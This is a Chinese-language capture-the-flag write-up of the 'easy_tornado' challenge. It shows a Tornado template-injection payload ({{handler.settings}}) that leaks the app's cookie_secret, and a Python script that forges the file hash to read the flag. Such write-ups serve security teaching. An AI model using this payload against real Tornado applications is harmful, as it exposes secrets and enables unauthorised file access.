[护网杯 2018]easy_tornado
进入靶场:

- 首页上三个链接,挨个去查看下。



- 链接格式都是:
/file?filename=/hints.txt&filehash=xxxxxxx flag in /fllllllllllllag:猜测flag在文件/fllllllllllllag中- filename hash要用
md5(cookie_secret+md5(filename))的格式加密 - 接下来的问题就是
filename有了,剩下cookie_secret,cookie_secret是tornado框架里面的。
fuzz后面的参数:
发现存在msg参数可以进行模板注入:

-
tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
-
RequestHandler.settings又指向self.application.settings -
这样我们就可以构造一下payload:
?msg={{handler.settings}}

-
拿到
cookie_secret就可以写个小脚本去算md5值了
import sys
import hashlib
cookie = "d9378b20-58de-430d-afce-313282095a39"
filename = "/fllllllllllllag"
md5 = hashlib.md5()
md5.update(filename.encode('utf-8'))
finename_md5 = md5.hexdigest()
flag = cookie + finename_md5
md5 = hashlib.md5()
md5.update(flag.encode('utf-8'))
flag_md5 = md5.hexdigest()
print(flag_md5)

Get Flag ! ! !
文章描述了一次网络安全竞赛中的挑战,参赛者需通过分析链接格式,发现存在模板注入漏洞。利用Tornado框架的RequestHandler结构,提取cookie_secret,并结合MD5加密计算,找到隐藏的flag。
5958

被折叠的 条评论
为什么被折叠?



